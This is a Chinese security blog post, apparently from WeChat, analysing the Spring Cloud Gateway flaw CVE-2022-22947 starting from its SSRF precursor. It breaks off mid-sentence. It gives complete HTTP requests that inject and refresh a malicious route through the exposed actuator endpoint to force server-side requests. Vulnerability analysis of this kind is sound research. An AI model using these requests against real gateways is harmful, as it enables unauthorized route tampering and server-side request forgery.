      <title>从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247484085&amp;idx=1&amp;sn=4045c2e16e346f2aadfc1b2554cfa36a</link>
      <description>从机制上对 Spring Cloud Gateway RCE进行了详细分析</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2022-03-06 01:23</span> <span style="display: inline-block;"></span>
</p>

<p>从机制上对 Spring Cloud Gateway RCE进行了详细分析</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e03272fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRic7EHd34pfayuZ2XxNbibQPZl3zcwrxdvVN87QOK41ibvyt5VTeZG8cng%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n12" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">0x01 写在前面</span></h2><p cid="n2" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">本周二（3.1）的时候Spring</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">官方发布</span></span><span md-inline="plain" style="box-sizing: border-box;">了 Spring Cloud Gateway CVE 报告</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.516209476309227" data-s="300,640" style="" data-type="png" data-w="1604" src="https://wechat2rss.xlab.app/img-proxy/?k=27e43a62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRL2kibyuLcrDbtS4FbRIWpialgvrlXuXjgTFfYod34AO137lw6HQRKFFw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n6" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">其中编号为 CVE-2022-22947 Spring Cloud Gateway 代码注入漏洞的严重性为危急，周三周四的时候就有不少圈内的朋友发了分析和复现过程，由于在工作和写论文，就一直没去跟踪看看，周末抽了点时间对这个漏洞进行复现分析了一下。还是挺有意思的。</span><br/></p><h2 cid="n8" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">0x02 从SSRF说起</span></h2><p cid="n10" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">看到这个漏洞利用流程的时候，就有一种熟悉的既视感，回去翻了翻陈师傅的星球，果然：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5617685305591678" data-s="300,640" style="" data-type="png" data-w="1538" src="https://wechat2rss.xlab.app/img-proxy/?k=d785f0a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRMbCVNgpjbZb4ypUkjsEiaKGibPL81XEuNX35U1gNqnfzkCObCTWBqLzA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n16" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">去年12月的时候，陈师傅提了一个 actuator gateway 的 SSRF漏洞，这个漏洞来自 </span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">wya</span></span><br/></p><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">作者在文章中提到，通过Spring Cloud Gateway 执行器（actuator）提供的管理</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">功能</span></span><span md-inline="plain" style="box-sizing: border-box;">就可以对路由进行添加、删除等操作。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5362614913176711" data-s="300,640" style="" data-type="png" data-w="1958" src="https://wechat2rss.xlab.app/img-proxy/?k=230b7f56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzR3U1zf5r58GuYNJibWdJrNoRVg9Ldxwme6RguzZ3MY1kqtrXiaGmO3yag%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n23" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">因此作者利用 actuator 提供的路由添加功能，并根据</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">官方示例</span></span><span md-inline="plain" style="box-sizing: border-box;">，如下图：</span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4560327198364008" data-s="300,640" style="" data-type="png" data-w="1956" src="https://wechat2rss.xlab.app/img-proxy/?k=76a77b7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzRVgHKHCPaV2Mhtk59ZZRtWFV5uMRmRH0W1wfWwTlKIlL7rVYUyPDKgA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n33" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">添加了一个路由：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/actuator/gateway/routes/new_route</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 127.0.0.1:9000</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: application/json</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;predicates&#34;</span>: [</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;Path&#34;</span>,</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;args&#34;</span>: {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;_genkey_0&#34;</span>: <span class="code-snippet__string">&#34;/new_route/**&#34;</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">],</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;filters&#34;</span>: [</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;RewritePath&#34;</span>,</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;args&#34;</span>: {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;_genkey_0&#34;</span>: <span class="code-snippet__string">&#34;/new_route(?&lt;path&gt;.*)&#34;</span>,</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;_genkey_1&#34;</span>: <span class="code-snippet__string">&#34;/${path}&#34;</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">],</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;uri&#34;</span>: <span class="code-snippet__string">&#34;<a href="https://wya.pl" target="_blank">https://wya.pl</a>&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;order&#34;</span>: <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n33" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">在执行 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">refresh</code></span><span md-inline="plain" style="box-sizing: border-box;"> 操作后，作者成功执行了一个SSRF请求（向</span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://wya.pl/index.php" target="_blank">https://wya.pl/index.php</a></span><span md-inline="plain" style="box-sizing: border-box;">发起的请求）：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4669848846459825" data-s="300,640" style="" data-type="png" data-w="2514" src="https://wechat2rss.xlab.app/img-proxy/?k=bf73af94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqyh9ST5wFicvyKEXd9SkyzROkiawSB0toCUQqWUn0ibk8TEPf1XqU7MW1YEgU23rS7picvXme4zXgW8Q%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n31" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"></span><br/></p><p cid="n45" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">陈师傅最后还在星球里给了个演示的实例：</span></p><p cid="n45" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"></span><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md" target="_blank">https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md</a></span></p><p cid="n46" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">先不具体讨论为什么payload会这样写，如果你熟悉 CVE-2022-22947 的payload，那么看到这里你一定会有同样的熟悉感。</span></p><p cid="n155" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">是的，CVE-2022-22947 这个漏洞实际上就是这个 SSRF 的进阶版，并且触发SSRF的原理并不复杂</span></p><p cid="n179" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">首先利用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">/actuator/gateway/routes/{new route}</code></span><span md-inline="plain" style="box-sizing: border-box;">的方式指定一个URL地址，并针对该地址添加一个路由</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/actuator/gateway/routes/new_route</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 127.0.0.1:8080</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: application/json</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;predicates&#34;</span>: [</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;Path&#34;</span>,</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;args&#34;</span>: {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;_genkey_0&#34;</span>: <span class="code-snippet__string">&#34;/new_route/**&#34;</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">],</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;filters&#34;</span>: [</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;RewritePath&#34;</span>,</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__attr">&#34;args&#34;</span>: {</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;_genkey_0&#34;</span>: <span class="code-snippet__string">&#34;/new_route(?&lt;path&gt;.*)&#34;</span>,</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">&#34;_genkey_1&#34;</span>: <span class="code-snippet__string">&#34;/${path}&#34;</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">],</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;uri&#34;</span>: <span class="code-snippet__string">&#34;<a href="https://www.cnpanda.net" target="_blank">https://www.cnpanda.net</a>&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;order&#34;</span>: <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n179" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);">然后刷新令这个路由生效：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/actuator/gateway/routes/new_route</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 127.0.0.1:8080</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: application/json</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;predicate&#34;</span>: <span class="code-snippet__string">&#34;Paths: [/new_route], match trailing slash: true&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;route_id&#34;</span>: <span class="code-snippet__string">&#34;new_route&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;filters&#34;</span>: [</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__string">&#34;[[RewritePath /new_route(?&lt;path&gt;.*) = /${path}], order = 1]&#34;</span></span></code><code><span class="code-snippet_outer">],</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;uri&#34;</span>: <span class="code-snippet__string">&#34;<a href="https://www.cnpanda.net" target="_blank">https://www.cnpanda.net</a>&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">&#34;order&#34;</span>: <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n57" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">最后直接访问</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">/new_route/index.php</code></span><span md-inline="plain" style="box-sizing: border-box;">即可触发SSRF漏洞。</span></p><p cid="n181" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">到这里有两个问题：</span></p><p cid="n181" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;"></span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">第一，payload为什么会这样写？</strong></span></p><p cid="n181" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">第二，整个请求流程是什么样的？</strong></span></p><p cid="n183" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">首先来看第一个问题，</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">payload为什么会这样写</strong></span></p><p cid="n185" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">上文中我们提到了Spring Cloud Gateway官方给的实例如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="json"><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">&#34;id&#34;</span>: <span class="code-snippet__string">&#34;first_route&#34;</span>,</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">&#34;predicates&#34;</span>: [{</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">&#34;name&#34;</span>: <span class="code-snippet__string">&#34;Path&#34;</span>,</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__attr">&#34;args&#34;</span>: {<span class="code-snippet__attr">&#34;_genkey_0&#34;</span>:<span class="code-snippet__string">&#34;/first&#34;</span>}</span></code><code><span class="code-snippet_outer">}],</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">&#34;filters&#34;</span>: [],</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">&#34;uri&#34;</span>: <span class="code-snippet__string">&#34;<a href="https://www.uri-destination.org" target="_blank">https://www.uri-destination.org</a>&#34;</span>,</span></code><code><span class="code-snippet_outer"> <span class="code-snippet__attr">&#34;order&#34;</span>: <span class="code-snippet__number">0</span></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n191" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">这实例对比一下SSRF的payload，我们可以发现，在SSRF的payload中多了对过滤器（filters）的具体定义。</span><br/></p><p cid="n193" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">而纵观整个payload，实际上可以发现，其就是</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;">一个动态路由的配置过程</strong></span><span md-inline="plain" style="box-sizing: border-box;">。</span></p><p cid="n198" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">在Spring Cloud Gateway中，路由的配置分为静态配置和动态配置，对于静态配置而言，一旦要添加、修改或者删除内存中的路由配置和规则，就必须重启才可以。但在现实生产环境中，使用 Spring Cloud Gateway 都是作为所有流量的入口，为了保证系统的高可用性，需要尽量避免系统的重启，因而一般情况下，Spring Cloud Gateway使用的都是动态路由。</span></p><p cid="n195" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span md-inline="plain" style="box-sizing: border-box;">Spring Cloud Gateway 配置动态路由的方式有两种，第一种就是比较常见的，通过重写代码，实现一套动态路由方法，如</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">这里</span></span><span md-inline="plain" style="box-sizing: border-box;">就有一个动态路由的配置过程。第二种就是上文中SSRF这种方式，但是这种方式是基于jvm内存实现，一旦服务重启，新增的路由配置信息就是完全消失了。这也是P师傅在</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: 